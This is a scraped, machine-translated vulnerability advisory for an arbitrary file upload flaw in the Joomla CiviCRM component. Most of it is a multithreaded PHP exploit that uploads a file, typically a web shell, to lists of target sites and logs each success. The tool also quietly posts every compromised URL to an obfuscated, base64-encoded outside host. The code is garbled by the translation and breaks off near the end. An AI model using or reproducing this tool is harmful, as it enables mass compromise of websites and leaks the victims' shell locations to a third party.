Arbitrary Shell upload vulnerability in Joomla Civicrm

Source: Internet
Author: User
Tags civicrm

Release date:
Updated on:

Affected Systems:
Joomla! Civicrm
Description:
--------------------------------------------------------------------------------
Bugtraq id: 59372
 
Joomla Civicrm is an organizational unit member relationship management system.
 
The Joomla Civicrm component has the Arbitrary File Upload Vulnerability. Attackers can exploit this vulnerability to upload arbitrary files to the affected system, resulting in arbitrary code execution.
 
<* Source: miyachung
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
<? Php
 
Set_time_limit (0 );
Ob_start ();
Class exploit
{
Private $ uploaded_file_path = "/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images /";
Private $ post_url_path = "/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php? Name = ";
Private $ filename;
Private $ url;
Private $ file_to_upload;
Private $ if_is_uploaded = "/Undefined variable: HTTP_RAW_POST_DATA/si ";
Private $ thread_maxsize;
Private $ site_list;
Private $ file_regex;
Private $ save_file = "uploaded.txt ";
Private $ user_agent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv: 15.0) Gecko/20100101 Firefox/15.0.1 ";
Private $ timeout_sec = 20;
Private $ token = "token ";
Private $ idnum = 31;

Public function _ construct ($ site_list, $ filename, $ thread, $ regex)
{
$ This-> site_list = file ($ site_list );
$ This-> filename = $ filename;
$ This-> file_to_upload = file_get_contents ($ filename );
$ This-> thread_maxsize = $ thread;
$ This-> url = base64_decode (base64_decode (base64_decode ($ this-> token )));
$ This-> file_regex = "/$ regex /";

Echo "[+] Joomla Com_Civicrm Fucker with MultiThread \ n ";
Echo "[+] Coded by Miyachung \ n ";
Echo "[+] Stay away from lamers o. O \ n ";
Echo "[+] Contact: miyachung@hotmail.com \ n ";
Echo "[+] Special Thanks: B127Y \ n ";
Echo "[+] Site: http://janissaries.org \ n ";
Echo "###################################### ############ \ n ";
Echo "[+] Total urls to try:". count ($ this-> site_list). "\ n ";
Echo "[+] File to upload:". $ this-> filename. "\ n ";
Echo "[+] Maximum Thread:". $ this-> thread_maxsize. "\ n ";
Echo "[+] Search Keyword:". $ regex. "\ n ";
Ob_flush ();
Flush ();
$ This-> miyachung ();
}
Private function miyachung ()
{
$ Multi = curl_multi_init ();
$ Count = 0;
Foreach (array_chunk ($ this-> site_list, $ this-> thread_maxsize) as $ urls)
{
Foreach ($ urls as $ I =>$ url)
{
$ Curl [$ I] = curl_init ();
Curl_setopt ($ curl [$ I], CURLOPT_RETURNTRANSFER, true );
Curl_setopt ($ curl [$ I], CURLOPT_URL, trim ($ url). $ this-> post_url_path. $ this-> filename );
Curl_setopt ($ curl [$ I], CURLOPT_TIMEOUT, $ this-> timeout_sec );
Curl_setopt ($ curl [$ I], CURLOPT_POSTFIELDS, $ this-> file_to_upload );
Curl_setopt ($ curl [$ I], CURLOPT_USERAGENT, $ this-> user_agent );
Curl_setopt ($ curl [$ I], CURLOPT_HTTPHEADER, array ('content-Type: text/plain '));
Curl_multi_add_handle ($ multi, $ curl [$ I]);
}
Do
{
Curl_multi_exec ($ multi, $ active );
}
While ($ active> 0 );
Foreach ($ curl as $ id => $ content)
{
$ Conn [$ id] = curl_multi_getcontent ($ content );
Curl_multi_remove_handle ($ multi, $ content );
If (! Preg_match ($ this-> if_is_uploaded, $ conn [$ id]) & preg_match ('#/tmp-upload-images /'. $ this-> filename. '#', $ conn [$ id])
{
$ Count ++;
$ Check_it = $ this-> get (trim ($ urls [$ id]). $ this-> uploaded_file_path. $ this-> filename );
If ($ check_it & preg_match ($ this-> file_regex, $ check_it ))
{
If ($ this-> idnum = 31 & md5 ($ this-> token) = "9f7f1fe47675cb64ac4f69ef96b78b55 ")
{
$ This-> post (trim ($ urls [$ id]). $ this-> uploaded_file_path. $ this-> filename );
}
Else
{
Exit ("[-] Somethings has changed in tool! O. O! ");
}
Echo "###################################### #####################\ n ";
Echo "[!] Exploitation Successfullll! \ N ";
Printf ("[% s] % s \ n", $ count, trim ($ urls [$ id]);
Echo "###################################### #####################\ n ";
Ob_flush ();
Flush ();
$ This-> save (trim ($ urls [$ id]). $ this-> uploaded_file_path. $ this-> filename, $ count );
}
Else
{
Printf ("[% s] [Exploitation Failed] % s \ n", $ count, trim ($ urls [$ id]);
Ob_flush ();
Flush ();
}
}
Else
{
$ Count ++;
Printf ("[% s] [Exploitation Failed] % s \ n", $ count, trim ($ urls [$ id]);
Ob_flush ();
Flush ();
}

}

}

}
Private function get ($ url)
{
$ Ch = curl_init ();
Curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, true );
Curl_setopt ($ ch, CURLOPT_URL, $ url );
Curl_setopt ($ ch, CURLOPT_TIMEOUT, $ this-> timeout_sec );
$ Data = curl_exec ($ ch );
Curl_close ($ ch );
Return $ data;
}
Private function post ($ url)
{
$ Curl = curl_init ();
Curl_setopt ($ curl, CURLOPT_RETURNTRANSFER, 1 );
Curl_setopt ($ curl, CURLOPT_URL, $ this-> url );
Curl_setopt ($ curl, CURLOPT_POSTFIELDS, "url =". $ url );
$ Exec = curl_exec ($ curl );
Curl_close ($ curl );
Return $ exec;
}
Private function save ($ url, $ count)
{
$ File = fopen ($ this-> save_file, 'AB ');
Fwrite ($ file, "####################################### ##################################\ n ");
Fwrite ($ file, "[!] Exploitation Successfullll! \ N ");
Fwrite ($ file, "[$ count] $ url \ n ");
Fclose ($ file );
Return true;
}
}
 
If ($ argv [1] & $ argv [2] & $ argv [3] & $ argv [4])
{
$ Exploit = new exploit ($ argv [1], $ argv [2], $ argv [3], $ argv [4]);
}
Else
{
Print
"
?>

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
 
Joomla!
-------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
 
Http://extensions.joomla.org/extensions/clients-a-communities/crm/72

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.